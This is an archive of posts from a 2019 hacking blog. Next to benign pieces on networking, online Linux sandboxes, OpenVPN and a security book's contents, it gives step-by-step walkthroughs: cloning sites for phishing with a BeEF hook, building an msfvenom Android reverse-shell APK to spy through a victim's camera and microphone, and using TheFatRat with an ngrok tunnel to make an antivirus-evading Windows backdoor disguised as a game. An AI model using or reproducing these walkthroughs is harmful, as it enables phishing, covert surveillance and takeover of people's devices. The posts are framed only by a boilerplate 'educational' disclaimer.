Friday, October 18, 2019

How to clone a site with Httrack

welcome to hacking a rise here another post this time on cloning website

What is httrack

HTTrack is a free and open-source Web crawler and offline browser, developed by Xavier Roche and licensed under the GNU General Public License Version 3. HTTrack allows users to download World Wide Web sites from the Internet to a local computer.
find out more here :




How to install Httrack

(If you are using parrot or kali this already installed on the system )

To install HTTrack in linux by using terminal you have to follow this step.

First, open your terminal from search bar ‘Terminal’ or from keyboard CTRL+ALT+T.

To install type or copy the following command and press Enter button.

sudo apt-get install httrack
sudo yum install httrack

To complete installation you have to punch your linux password and then enter to permit. In installation, you will be asked to install this program and you have to press ‘Y’ from your keyboard.
As i am using kali i dont need to install.




How to use Httrack

Right lads open terminal and type httrack --help
Hacking A Rise httrackhelp-1024x624

now we wanna type httrack -O name of the site i be using a site i mead for shorting links you can find it here
https://hackingariseofficial.github.io/
so my command is httrack https://hackingariseofficial.github.io -O hackingarise

Hacking A Rise clone-the-site-here-1024x177

now if we go to are root dir we will see the site
Hacking A Rise sitefile
Hacking A Rise sitefile2-1024x373
Hacking A Rise sitefiles3

from here we can add the beef-xss hook to the index.html we can also test the site and see what vulnerabilities are in the site or we can edited it and make it are own but mostly we use them for phishing




final thoughts on Httrack

well i love this tools its how i clone sites as it gave’s u the full site not just a index.html file like wget dose as we all its simple to use like one simple command and boom its cloned the site not many site copyers can do that so lads and gals i advice you to make this your best friend




Disclamer

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law

Understanding networks part 1

welcome to hacking a rise i am the laughing man the one and only i am him so i was going true the blog and i see i haven’t really explained how networks work so in this post and a few others to come we are going to explain it as i believe a hacker should a good understanding of networks so lets start lads

IPS

An Internet Protocol address (IP address) is a numerical label assigned to each device connected to a computer network that uses the Internet Protocol for communication An IP address serves two main functions: host or network interface identification and location addressing.

Internet Protocol version 4 (IPv4) defines an IP address as a 32-bit number. However, because of the growth of the Internet and the depletion of available IPv4 addresses, a new version of IP (IPv6), using 128 bits for the IP address, was standardized in 1998.[3][4][5] IPv6 deployment has been ongoing since the mid-2000s.

IP addresses are written and displayed in human-readable notations, such as 172.16.254.1 in IPv4, and 2001:db8:0:1234:0:567:8:1 in IPv6. The size of the routing prefix of the address is designated in CIDR notation by suffixing the address with the number of significant bits, e.g., 192.168.1.15/24, which is equivalent to the historically used subnet mask 255.255.255.0.

The IP address space is managed globally by the Internet Assigned Numbers Authority (IANA), and by five regional Internet registries (RIRs) responsible in their designated territories for assignment to local Internet registries, such as Internet service providers, and other end users. IPv4 addresses were distributed by IANA to the RIRs in blocks of approximately 16.8 million addresses each, but have been exhausted at the IANA level since 2011. Only one of the RIRs still has a supply for local assignments in Africa.

Network administrators assign an IP address to each device connected to a network. Such assignments may be on a static (fixed or permanent) or dynamic basis, depending on network practices and software features.

ports

In computer networking, a port is a communication endpoint. Physical as well as wireless connections are terminated at ports of hardware devices. At the software level, within an operating system, a port is a logical construct that identifies a specific process or a type of network service. Ports are identified for each protocol and address combination by 16-bit unsigned numbers, commonly known as the port number. The most common protocols that use port numbers are the Transmission Control Protocol (TCP) and the User Datagram Protocol (UDP).

A port number is always associated with an IP address of a host and the protocol type of the communication. It completes the destination or origination network address of a message. Specific port numbers are commonly reserved to identify specific services, so that an arriving packet can be easily forwarded to a running application. For this purpose, the lowest numbered 1024 port numbers identify the historically most commonly used services, and are called the well-known port numbers. Higher-numbered ports are available for general use by applications and are known as ephemeral ports.

When used as a service enumeration, ports provide a multiplexing service for multiple services or multiple communication sessions at one network address. In the client–server model of application architecture multiple simultaneous communication sessions may be initiated for the same service.

TCP

The Transmission Control Protocol provides a communication service at an intermediate level between an application program and the Internet Protocol. It provides host-to-host connectivity at the transport layer of the Internet model. An application does not need to know the particular mechanisms for sending data via a link to another host, such as the required IP fragmentation to accommodate the maximum transmission unit of the transmission medium. At the transport layer, TCP handles all handshaking and transmission details and presents an abstraction of the network connection to the application typically through a network socket interface.

At the lower levels of the protocol stack, due to network congestion, traffic load balancing, or unpredictable network behaviour, IP packets may be lost, duplicated, or delivered out of order. TCP detects these problems, requests re-transmission of lost data, rearranges out-of-order data and even helps minimize network congestion to reduce the occurrence of the other problems. If the data still remains undelivered, the source is notified of this failure. Once the TCP receiver has reassembled the sequence of octets originally transmitted, it passes them to the receiving application. Thus, TCP abstracts the application’s communication from the underlying networking details.

TCP is used extensively by many internet applications, including the World Wide Web (WWW), email, File Transfer Protocol, Secure Shell, peer-to-peer file sharing, and streaming media.

TCP is optimized for accurate delivery rather than timely delivery and can incur relatively long delays (on the order of seconds) while waiting for out-of-order messages or re-transmissions of lost messages. Therefore, it is not particularly suitable for real-time applications such as voice over IP. For such applications, protocols like the Real-time Transport Protocol (RTP) operating over the User Datagram Protocol (UDP) are usually recommended instead.

TCP is a reliable stream delivery service which guarantees that all bytes received will be identical and in the same order as those sent. Since packet transfer by many networks is not reliable, TCP achieves this using a technique known as positive acknowledgement with re-transmission. This requires the receiver to respond with an acknowledgement message as it receives the data. The sender keeps a record of each packet it sends and maintains a timer from when the packet was sent. The sender re-transmits a packet if the timer expires before receiving the acknowledgement. The timer is needed in case a packet gets lost or corrupted.

While IP handles actual delivery of the data, TCP keeps track of segments – the individual units of data transmission that a message is divided into for efficient routing through the network. For example, when an HTML file is sent from a web server, the TCP software layer of that server divides the file into segments and forwards them individually to the internet layer in the network stack. The internet layer software encapsulates each TCP segment into an IP packet by adding a header that includes (among other data) the destination IP address. When the client program on the destination computer receives them, the TCP software in the transport layer re-assembles the segments and ensures they are correctly ordered and error-free as it streams the file contents to the receiving app.

UDP

UDP is a simple message-oriented transport layer protocol that is documented in RFC 768. Although UDP provides integrity verification (via checksum) of the header and payload,it provides no guarantees to the upper layer protocol for message delivery and the UDP layer retains no state of UDP messages once sent. For this reason, UDP sometimes is referred to as Unreliable Datagram Protocol. If transmission reliability is desired, it must be implemented in the user’s application.

A number of UDP’s attributes make it especially suited for certain applications.

It is transaction-oriented, suitable for simple query-response protocols such as the Domain Name System or the Network Time Protocol.
It provides datagrams, suitable for modeling other protocols such as IP tunneling or remote procedure call and the Network File System.
It is simple, suitable for bootstrapping or other purposes without a full protocol stack, such as the DHCP and Trivial File Transfer Protocol.
It is stateless, suitable for very large numbers of clients, such as in streaming media applications such as IPTV.
The lack of retransmission delays makes it suitable for real-time applications such as Voice over IP, online games, and many protocols using Real Time Streaming Protocol.
Because it supports multicast, it is suitable for broadcast information such as in many kinds of service discovery and shared information such as Precision Time Protocol and Routing Information Protocol.

There ya have it lads and gals i will be doing a post on each of theses in the future so u can have a better undstaning of the way networks work this a brief example of whats to come on hacking a rise

Saturday, October 12, 2019

2 best online linux tester

welcome to hacking a rise i am the laughing man of course, In this post we are going to talk about online linux testers this is site where you are able to start a linux system using browser or vnc on ur mobile this comes in handy for those that can’t afford a laptop the site we will be showing you is called linuxzoo and distrotest these sites offer wide range of linux systems for ya to test or to test malware on so lets get stuck in to this post

how to use linuxzoo

Frist of all them is linux zoo u need to register for the site to use the systems so we need to go here sign up im using tempmail as its faster if a wanna use tempmail check this link here
Hacking A Rise linuxzooreg
now click register and go to your email and copy and paste the link to your browser
Hacking A Rise linuxzooemail




now you account is ready we go to the the little box on the side and click join the queue
Hacking A Rise joinquene

now we pick the os wew want to use im picking kali linux as its the most used one on the site but they offer windows 2008,windows 7 ,centos7,kali 1.0.6 and caine 10 linux since im clicking kali we dont need any these
Hacking A Rise pickoslinux

now we hit switch on and with for the kali to boot
Hacking A Rise turnon

now we go to connect and it will gave us a link and a few other details to connect with vnc on mobiles the list look like this
Home IP: 94.156.30.189
VM IP: 10.0.1.113
Direct: telnet or ssh to linuxzoo.net
SSH: linuxzoo.net
VM Web: http://host-1-113.linuxzoo.net/
JScript Telnet: Network / Console
Java Telnet: Auto
JavaScript SSH: SSH
JavaScript VNC: VNC
URI telnet: linuxzoo.net
Connect: Username: root, Password: secure
Hacking A Rise linksass




now if u are on your browser click JavaScript VNC it will open a new tab and load kali and sign in with the username and password they provide
Hacking A Rise signinwithpass

thoughts on linux zoo

linux zoo is a good site for people wanna learn how to use linux with out messing up there device but the only problem is the time it is limited to like 20 mins for each session witch is shit tbh but for thos that wannna get in to hacking and dont have a laptop this is handy for them to use to test commands virus so on …

Distrotest.net

Right lads and gals we on to distrotest this another site like linuxzoo but this one is a lot better is offers a wide range of linux systems including kali,blackarch,backbox etc .. this site you dont need to sign up to just click the linux u wanna test and boom it will open a no vnc window in ur browser there ya go u got a linux system

list of linux on the site

#4

4mLinux

#9

9Front

#A

AbsoluteLinux
AcademiX
AirSlax
AlpineLinux
ALT Linux
Android-x86
Antergos
antiX Linux
Aptosid
ArchBang
ArchLabs
Archlinux
Archman
ArchStrike
ArcoLinux
ArtixLinux
AryaLinux
AV Linux

#B

BackBoxLinux
BigLinux
Bio-Linux
BlackArch
BlackLab
BlackPantherOS
BlackSlash
blag
BlankOn
Bluestar
Bodhi
BOSS Linux
BunsenLabs
ByzantineOS




#C

CAELinux
Caine
Caixa Magica
Calculate Linux Desktop
Canaima
CentOS
Chakra
ChaletOS
ClearOS
Clonezilla
CommodoreOS
Condres OS
ConnochaetOS
CRUX
Cucumber

#D

Damn Small Linux
Damn Small Linux Not
Dapper Linux
Daylight Linux
Debian
Debian-FAI
DebianEdu
deepin
DEFT
Devil-Linux
Devuan
DragonFly BSD
Dragora
DuZeru
Dyne:bolic

#E

EasyOS
Edubuntu
elementaryOS
Elive Linux
Emmabuntüs
Emmi OS
EndeavourOS
Endless OS
EnsoOS
EpiLinux
Escuelas Linux
Exe GNU Linux
ExTiX

#F

Fatdog64
Fedora Atomic
Fedora Server
Fedora Silverblue Ostree
Fedora Spins
Fedora Workstation
FerenOS
FreeBSD
FreeDOS
FreeNAS
Frugalware
Funtoo

#G

G4L
GeckoLinux
Gentoo
GhostBSD
GNewSense
GoboLinux
Gparted
GreenieLinux
GRML
GuixSD

#H

Haiku
HardenedBSD
Heads
Huayra
Hyperbola

#I

io GNU Linux

#K

Kali Linux
Kanotix
KaOS
Knoppix
Kodachi
KolibriOS
Korora
Kubuntu
Kwort

#L

Linux Lite
Linux Mint
LiveRaizo
LMDE
Lubuntu
LXLE OS

#M

Macpup
Mageia
MakuluLinux
Manjaro
Matriux
MauiLinux
MenuetOS
MidnightBSD
MilagrOS
MinerOS
MiniNo
MINIX
Modicia
Musix
MX Linux

#N

Nanolinux
Nas4Free
Neptune
NetBSD
Netrunner
NixOs
Nova
NST
NuTyX

#O

obarun
OpenBSD
OpenIndiana
OpenMandriva
openSUSE
OPNsense
OracleLinux
OSGeo live
OviOS




#P

Parabola CLI
Parabola LXDE
Pardus
Parrot
Parrot Home
Parrot Security
Parrot Studio
Parrot Variant
Parsix
PCLinuxOS
PeachOSI
PearOS
Pentoo
Peppermint
PeppermintOS
Pinguy
PinguyOS
plopLinux
PointLinux
Pop!_OS
PORTEUS
PrimTux
Puppy Linux
PureOS

#Q

Q4OS
QubesOS
Quirky

#R

Raspberry Pi Desktop
ReactOS
Reborn OS
Red Star OS
Redcore
redox
Refracta
Regolith Linux
Rescatux
RevengeOS
RoboLinux
Rockstor
ROSA FRESH
Runtu

#S

Sabayon
SalentOS
Salix
ScientificLinux
SELKS
SemiCode OS
Septor
Siduction
Slackel
Slackware
Slax
SliTaz
Solus
SolydK
SolydX
SparkyLinux
Springdale
Stresslinux
SubgraphOS
susOS
SwagArch
SystemRescueCd

#T

Tails
Tanglu
TempleOS
Tiny Core
Trident
Trisquel
TROM-Jaro
TrueOS
TurnKey Linux
Tux N Vape

#U

Ubuntu
Ubuntu Budgie
Ubuntu Mate
Ubuntu Server
Ubuntu Studio
UbuntuKylin
Ultimate Edition
Uruk

#V

VectorLinux
Venom Linux
VineLinux
VoidLinux
Voyager
VyOS

#W

WattOs

#X

Xubuntu

#Z

Zentyal
Zenwalk
Zevenet
Zorin OS

i know its a lot of linux systems u click the system u want and the Version this site keeps there systems up todate which is a good thing for noobs.
The only thing is need to with a min for it to load altho the site say u have 30 mins on the vm you can extend the time but 15 mins every 15 mins lol it also they offer details to use vnc on mobile

how to use distrotest

so lads and gals click the link on the start the post it take u to the home page of the site were u can see the list of linux systems
Hacking A Rise distest

now we find the linux we wanna use for this im clicking kali linux
Hacking A Rise kdistro

Hacking A Rise listofkali




Hacking A Rise startkalis

Hacking A Rise live

Hacking A Rise fullsystemkali

as ye can see they offer all the kali versions they allso offer a vnc details for mobile
Alternatively you can connect to a VNC client:
Server: 77.64.170.177
Port: 5951

thoughts of distrotest.net

wel what can i say i use this site a lot for testing my payloads and other vulns in the systems as well as it offers a great service for people that dont have a laptop even tho they offer 30 mins on each os we can extend the time on like linux zoo .




Sunday, October 6, 2019

How to use OpenVPN

Ok, hello everyone. This is IRISnoir from Hackingarise. I’m sorry for the lack of posts. School’s been keeping me down. Anyways, I’m here with you. Let’s not get too side tracked or too sappy. How about we get right on to the topic. Today, I will talk about OpenVPN.

Now, the requirements must meet, as always.
– openvpn to deploy the VPN (Captain Obvious in the building)

– The .ovpn configuration file. You can select and download it from sources like PENTEST.TRAINING. A good partner with Hackingarise and also a nice pentesting practice base. You can check it out.

– Sometimes, a CA certificate is needed. But the provider will give you that as well.

That’s about it.

Now, the command is:
openvpn --config [INPUT CONFIG FILENAME]
Remember to replace [INPUT CONFIG FILENAME] with the name of the downloaded .ovpn config file. Then, activate the command.

When it tells you to input authentication username and password. Here’s what you need to do.

For example, in pentest.training, you have to register a VPN account. After registrating, you can supply the credentials. Some other websites will work the same. Some will give you the right credentials straight away. This part requires some reading and common sense. Which you already have.

Then, you can just go to your browser and try typing ‘what’s my ip’. You are done here.

I hope you enjoy this tutorial. If you do, please share around. Also, make sure what you are doing is completely ethical and legal as Hackingarise is never responsible for any trouble you get into. Thank you, stay safe, stay ethical.

Saturday, October 5, 2019

Hacking android with armitage

Welcome to hacking a rise Im the Laughingman and this is how to hack a android phone with armitage i will be doing a local hack as im to lazy to find a target to show ye but i will make is as real as i can lol the method is the same only thing different is u need to open ur ports via router to hack someone on another network so let get started what we will be using is msfvemon and armitage this are all part metasploit witch comes installed on kali linux and parrot the two main os we use here at hacking a rise

What is Armitage

Armitage is nothing but a GUI tool for performing and managing all the tasks that otherwise could have been performed through msfconsole. Armitage helps visualize the targets, automatically recommends suitable exploits, and exposes the advanced post-exploitation
source :

What is Msfvenom

MSFvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. msfvenom replaced both msfpayload and msfencode as of June 8th, 2015. The advantages of msfvenom are: One single tool. Standardized command line options
source :

How to make the payload with msfvenom

right lads and gals first of all we open a terminal and type msfvenom -p android/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port > filename.apk
this will make the apk file with te payload into get the ip type ifconfig
Hacking A Rise ifconfigarmitage

as u see my local ip is 192.168.178.26 no we run msfvenom so im typing msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.178.26 LPORT=4444 >hackingarise.apk we hit enter now and let it build the payload
Hacking A Rise msfvenomarm

now open terminal and type service postgresql start
Hacking A Rise servicepostarmtives

now we can run armitage so go to the exploits in the main menu and click armitage or in terminal type armitage

Hacking A Rise runarmitageterminal

it will now ask to start metasploit u wanna hit yes and with for it to connect
Hacking A Rise startrpcservice

once it is connected it will load up armitage as u see in the pic the modules are in the left hand side and console on the bottom and the targets on the right of the panel but this not importing for now
Hacking A Rise armitagepannel

on the left hand were the modules are u see a empty text box in there type multi/handler
Hacking A Rise multihandleramr

now we click it and a little box will pop up asking us for the local host port and the payload we are using so we type in the lhost my ip but its allready set so we move to the local port witch is 4444 and the payload is android/meterpreter/reverse_tcp
Hacking A Rise multihander

now before we hit launch we send the payload to the target and hit launch once the target downloads and installs the payload it will pop up in the right and bottom of the panel
Hacking A Rise phonearmitage
boom we have a seesion
Hacking A Rise sessions1armitage

now we can make commands like screenshots and take pics with cams record from the mic view files what ever we want .

DISCLAMER

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law

How to use TheFatRat and Ngrok and Armitage

Welcome to hacking a rise

Welcome to Hacking A Rise Im the Laughingman the only legend you need to know Im here to show u how to hack any pc with TheFatRat and Ngrok and Armitage this tutorial is for windows Pc’s as most the world run on windows hahaha fucking Muppet’s We all know Linux all the fucking way whoop whoop any ways lads and my sexy gals this what we will need first a Linux OS up today parrot or Kali ngrok with api and fatrat and armitage <--- installed all ready on kali and parrot so there fuck all we can do there so lets talk a bit about all three tools .

The fatrat

Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software find out more here

Ngrok

Ngrok is a multiplatform tunnelling, reverse proxy software that establishes secure tunnels from a public endpoint such as internet to a locally running network service while capturing all traffic for detailed inspection and replay Source: https://ngrok.com/

Armitage

Armitage is nothing but a GUI tool for performing and managing all the tasks that otherwise could have been performed through msfconsole. Armitage helps visualize the targets, automatically recommends suitable exploits, and exposes the advanced post-exploitation

Installing Thefatrat and updating

Instructions on how to install TheFatRat

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh
Hacking A Rise installfatrat
Update
cd TheFatRat
./update && chmod +x setup.sh && ./setup.sh

installing Ngrok

download ngrok
amd64 here
32 bit here
unzip /path/to/ngrok.zip
./ngrok authtoken <--- you will need an account so sign up here
Try it out by running it from the command line:
./ngrok help
To start a HTTP tunnel on port 80, run this next:
./ngrok http 80

To start a tcp tunnel
./ngrok tcp 4444

How to preform the attack

Now we get to the fun part putting it all together one so first of all open Thefatrat
cd thefatrat
./fatrat
with it loads and press 6
Hacking A Rise thefatrat

and open a new terminal and type ./ngrok tcp 4444
Hacking A Rise fatngrok

Now lads and gals we need to go back to fat rat pick option one
Hacking A Rise onebat

now we need to add the localhost and port so go back to ngrok and copy the 0.tcp.ngrok.io set it as local host and then the local port to 11730 and the name off the payload you can name this what ever you want and then set the payload to [ 3 ] windows/meterpreter/reverse_tcp

Hacking A Rise nameportsand-localhost

(my advice use a well knowing game )

now we let it build the payload once its done you can close fatrat
Hacking A Rise makingpayload-1

Now we open new terminal and type service postgresql start
Hacking A Rise servicepoststart

now we open armitage u can find on the little side menu on kali or in the menu under exploits when you click it you will be asked to connect to the metasploit database
Hacking A Rise armitageconnect
and it will as u the start the rpd
Hacking A Rise armitageconnect2

and now we with this is done
Hacking A Rise connectingarmitage

right lads as u see iv been busy on a network 😉 hahaha but this the armitage dash we will call it for this tutorial
Hacking A Rise dasharmitage

now that we are on the dash of armitage u see the side the panel theres a list aux,exploit,payload,post this were the exploits are
Hacking A Rise Screenshot-from-2019-10-05-00-23-20

On the bottom there is a small text box type handler in here
Hacking A Rise handlerarmitage

now we click it and set the localhost and port and payload so local host is the ngrok url 0.tcp.ngrok.io
and the port 11730 and the payload to windows/meterpreter/reverse_tcp
Hacking A Rise setuparmitage

now hit launch and now u see on armitage a new box poped up on the bottom
Hacking A Rise armitageconsole

Now we send the bat file to the target and with they run it them boom there device will pop up on the side of the panel
Hacking A Rise sidearmitage

i wont be showing ye the exploits as the person that volunteered asked me not to so there ya have it lads lol fucking pussy lol but use the help the command to get the list commands u need this method works with android and linux and mac payloads and exploits

in the console u can use the same commands as metasploit as armitage is the metasploit gui

final thoughts

wel i hate armitage like more i hate pedos and i hate pedos but for a person starting with metasploit and hacking armitage is the best start as it has all the payloads and exploits in a nice neat list on the side the panel as well as its easy set up a two year old can do it lol

DISCLAMER

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law

Sunday, September 29, 2019

Grayhat hacking 5th edition

Gray hat hacking 5th edition

Gray hat hacking 5th edition Description

Cutting-edge techniques for finding and fixing critical security flaws

Fortify your network and avert digital catastrophe with proven strategies from a team of security experts. Completely updated and featuring 13 new chapters, Gray Hat Hacking: The Ethical Hacker’s Handbook, Fifth Edition explains the enemy’s current weapons, skills, and tactics and offers field-tested remedies, case studies, and ready-to-try testing labs. Find out how hackers gain access, overtake network devices, script and inject malicious code, and plunder Web applications and browsers. Android-based exploits, reverse engineering techniques, and cyber law are thoroughly covered in this state-of-the-art resource. And the new topic of exploiting the Internet of things is introduced in this edition.

•Build and launch spoofing exploits with Ettercap

•Induce error conditions and crash software using fuzzers

•Use advanced reverse engineering to exploit Windows and Linux software

•Bypass Windows Access Control and memory protection schemes

•Exploit web applications with Padding Oracle Attacks

•Learn the use-after-free technique used in recent zero days

•Hijack web browsers with advanced XSS attacks

•Understand ransomware and how it takes control of your desktop

•Dissect Android malware with JEB and DAD decompilers

•Find one-day vulnerabilities with binary diffing

•Exploit wireless systems with Software Defined Radios (SDR)

•Exploit Internet of things devices

•Dissect and exploit embedded devices

•Understand bug bounty programs

•Deploy next-generation honeypots

•Dissect ATM malware and analyze common ATM attacks

•Learn the business side of ethical hacking

Table of Contents
Cover
Title Page
Copyright Page
Dedication
Contents
Preface
Acknowledgments
Introduction
Part I Preparation
Chapter 1 Why Gray Hat Hacking? Ethics and Law
Know Your Enemy
The Current Security Landscape
Recognizing an Attack
The Gray Hat Way
Emulating the Attack
Frequency and Focus of Testing
Evolution of Cyberlaw
Understanding Individual Cyberlaws
Summary
References
Chapter 2 Programming Survival Skills
C Programming Language
Basic C Language Constructs
Sample Program
Compiling with gcc
Computer Memory
Random Access Memory
Endian
Segmentation of Memory
Programs in Memory
Buffers
Strings in Memory
Pointers
Putting the Pieces of Memory Together
Intel Processors
Registers
Assembly Language Basics
Machine vs. Assembly vs. C
AT&T vs. NASM
Addressing Modes
Assembly File Structure
Assembling
Debugging with gdb
gdb Basics
Disassembly with gdb
Python Survival Skills
Getting Python
“Hello, World!” in Python
Python Objects
Strings
Numbers
Lists
Dictionaries
Files with Python
Sockets with Python
Summary
For Further Reading
References
Chapter 3 Next-Generation Fuzzing
Introduction to Fuzzing
Types of Fuzzers
Mutation Fuzzers
Generation Fuzzers
Genetic Fuzzing
Mutation Fuzzing with Peach
Lab 3-1: Mutation Fuzzing with Peach
Generation Fuzzing with Peach
Crash Analysis
Lab 3-2: Generation Fuzzing with Peach
Genetic or Evolutionary Fuzzing with AFL
Lab 3-3: Genetic Fuzzing with AFL
Summary
For Further Reading
Chapter 4 Next-Generation Reverse Engineering
Code Annotation
IDB Annotation with IDAscope
C++ Code Analysis
Collaborative Analysis
Leveraging Collaborative Knowledge Using FIRST
Collaboration with BinNavi
Dynamic Analysis
Automated Dynamic Analysis with Cuckoo Sandbox
Bridging the Static-Dynamic Tool Gap with Labeless
Summary
For Further Reading
References
Chapter 5 Software-Defined Radio
Getting Started with SDR
What to Buy
Not So Quick: Know the Rules
Learn by Example
Search
Capture
Replay
Analyze
Preview
Execute
Summary
For Further Reading
Part II Business of Hacking
Chapter 6 So You Want to Be a Pen Tester?
The Journey from Novice to Expert
Pen Tester Ethos
Pen Tester Taxonomy
The Future of Hacking
Know the Tech
Know What Good Looks Like
Pen Tester Training
Practice
Degree Programs
Knowledge Transfer
Pen Tester Tradecraft
Personal Liability
Being the Trusted Advisor
Managing a Pen Test
Summary
For Further Reading
Chapter 7 Red Teaming Operations
Red Team Operations
Strategic, Operational, and Tactical Focus
Assessment Comparisons
Red Teaming Objectives
What Can Go Wrong
Limited Scope
Limited Time
Limited Audience
Overcoming Limitations
Communications
Planning Meetings
Defining Measurable Events
Understanding Threats
Attack Frameworks
Testing Environment
Adaptive Testing
External Assessment
Physical Security Assessment
Social Engineering
Internal Assessment
Lessons Learned
Summary
References
Chapter 8 Purple Teaming
Introduction to Purple Teaming
Blue Team Operations
Know Your Enemy
Know Yourself
Security Program
Incident Response Program
Common Blue Teaming Challenges
Purple Teaming Operations
Decision Frameworks
Disrupting the Kill Chain
Kill Chain Countermeasure Framework
Communication
Purple Team Optimization
Summary
For Further Reading
References
Chapter 9 Bug Bounty Programs
History of Vulnerability Disclosure
Full Vendor Disclosure
Full Public Disclosure
Responsible Disclosure
No More Free Bugs
Bug Bounty Programs
Types of Bug Bounty Programs
Incentives
Controversy Surrounding Bug Bounty Programs
Popular Bug Bounty Program Facilitators
Bugcrowd in Depth
Program Owner Web Interface
Program Owner API Example
Researcher Web Interface
Earning a Living Finding Bugs
Selecting a Target
Registering (If Required)
Understanding the Rules of the Game
Finding Vulnerabilities
Reporting Vulnerabilities
Cashing Out
Incident Response
Communication
Triage
Remediation
Disclosure to Users
Public Relations
Summary
For Further Reading
References
Part III Exploiting Systems
Chapter 10 Getting Shells Without Exploits
Capturing Password Hashes
Understanding LLMNR and NBNS
Understanding Windows NTLMv1 and NTLMv2 Authentication
Using Responder
Lab 10-1: Getting Passwords with Responder
Using Winexe
Lab 10-2: Using Winexe to Access Remote Systems
Lab 10-3: Using Winexe to Gain Elevated Privileges
Using WMI
Lab 10-4: Querying System Information with WMI
Lab 10-5: Executing Commands with WMI
Taking Advantage of WinRM
Lab 10-6: Executing Commands with WinRM
Lab 10-7: Using WinRM to Run PowerShell Remotely
Summary
For Further Reading
Reference
Chapter 11 Basic Linux Exploits
Stack Operations and Function-Calling Procedures
Buffer Overflows
Lab 11-1: Overflowing meet.c
Ramifications of Buffer Overflows
Local Buffer Overflow Exploits
Lab 11-2: Components of the Exploit
Lab 11-3: Exploiting Stack Overflows from the Command Line
Lab 11-4: Exploiting Stack Overflows with Generic Exploit Code
Lab 11-5: Exploiting Small Buffers
Exploit Development Process
Lab 11-6: Building Custom Exploits
Summary
For Further Reading
Chapter 12 Advanced Linux Exploits
Format String Exploits
Format Strings
Lab 12-1: Reading from Arbitrary Memory
Lab 12-2: Writing to Arbitrary Memory
Lab 12-3: Changing Program Execution
Memory Protection Schemes
Compiler Improvements
Lab 11-4: Bypassing Stack Protection
Kernel Patches and Scripts
Lab 12-5: Return to libc Exploits
Lab 12-6: Maintaining Privileges with ret2libc
Bottom Line
Summary
For Further Reading
References
Chapter 13 Windows Exploits
Compiling and Debugging Windows Programs
Lab 13-1: Compiling on Windows
Windows Compiler Options
Debugging on Windows with Immunity Debugger
Lab 13-2: Crashing the Program
Writing Windows Exploits
Exploit Development Process Review
Lab 13-3: Exploiting ProSSHD Server
Understanding Structured Exception Handling (SEH)
Understanding and Bypassing Windows Memory Protections
Safe Structured Exception Handling (SafeSEH)
Bypassing SafeSEH
SEH Overwrite Protection (SEHOP)
Bypassing SEHOP
Stack-Based Buffer Overrun Detection (/GS)
Bypassing /GS
Heap Protections
Summary
For Further Reading
References
Chapter 14 Advanced Windows Exploitation
Data Execution Prevention (DEP)
Address Space Layout Randomization (ASLR)
Enhanced Mitigation Experience Toolkit (EMET) and Windows Defender Exploit Guard
Bypassing ASLR
Bypassing DEP and Avoiding ASLR
VirtualProtect
Return-Oriented Programming
Gadgets
Building the ROP Chain
Defeating ASLR Through a Memory Leak
Triggering the Bug
Tracing the Memory Leak
Weaponizing the Memory Leak
Building the RVA ROP Chain
Summary
For Further Reading
References
Chapter 15 PowerShell Exploitation
Why PowerShell
Living Off the Land
PowerShell Logging
PowerShell Portability
Loading PowerShell Scripts
Lab 15-1: The Failure Condition
Lab 15-2: Passing Commands on the Command Line
Lab 15-3: Encoded Commands
Lab 15-4: Bootstrapping via the Web
Exploitation and Post-Exploitation with PowerSploit
Lab 15-5: Setting Up PowerSploit
Lab 15-6: Running Mimikatz Through PowerShell
Lab 15-7: Creating a Persistent Meterpreter Using PowerSploit
Using PowerShell Empire for C2
Lab 15-8: Setting Up Empire
Lab 15-9: Staging an Empire C2
Lab 15-10: Using Empire to Own the System
Summary
For Further Reading
References
Chapter 16 Next-Generation Web Application Exploitation
The Evolution of Cross-Site Scripting (XSS)
Setting Up the Environment
Lab 16-1: XSS Refresher
Lab 16-2: XSS Evasion from Internet Wisdom
Lab 16-3: Changing Application Logic with XSS
Lab 16-4: Using the DOM for XSS
Framework Vulnerabilities
Setting Up the Environment
Lab 16-5: Exploiting CVE-2017-5638
Lab 16-6: Exploiting CVE-2017-9805
Padding Oracle Attacks
Lab 16-7: Changing Data with the Padding Oracle Attack
Summary
For Further Reading
References
Chapter 17 Next-Generation Patch Exploitation
Introduction to Binary Diffing
Application Diffing
Patch Diffing
Binary Diffing Tools
BinDiff
turbodiff
Lab 17-1: Our First Diff
Patch Management Process
Microsoft Patch Tuesday
Obtaining and Extracting Microsoft Patches
Lab 17-2: Diffing MS17-010
Patch Diffing for Exploitation
DLL Side-Loading Bugs
Lab 17-3: Diffing MS16-009
Summary
For Further Reading
References
Part IV Advanced Malware Analysis
Chapter 18 Dissecting Mobile Malware
The Android Platform
Android Application Package
Application Manifest
Analyzing DEX
Java Decompilation
DEX Decompilation
DEX Disassembling
Example 18-1: Running APK in Emulator
Malware Analysis
The iOS Platform
iOS Security
iOS Applications
Summary
For Further Reading
References
Chapter 19 Dissecting Ransomware
The Beginnings of Ransomware
Options for Paying the Ransom
Dissecting Ransomlock
Example 19-1: Dynamic Analysis
Example 19-2: Static Analysis
Wannacry
Example 19-3: Analyzing Wannacry Ransomware
Summary
For Further Reading
Chapter 20 ATM Malware
ATM Overview
XFS Overview
XFS Architecture
XFS Manager
ATM Malware Analysis
Types of ATM Malware
Techniques for Installing Malware on ATMs
Techniques for Dissecting the Malware
ATM Malware Countermeasures
Summary
For Further Reading
References
Chapter 21 Deception: Next-Generation Honeypots
Brief History of Deception
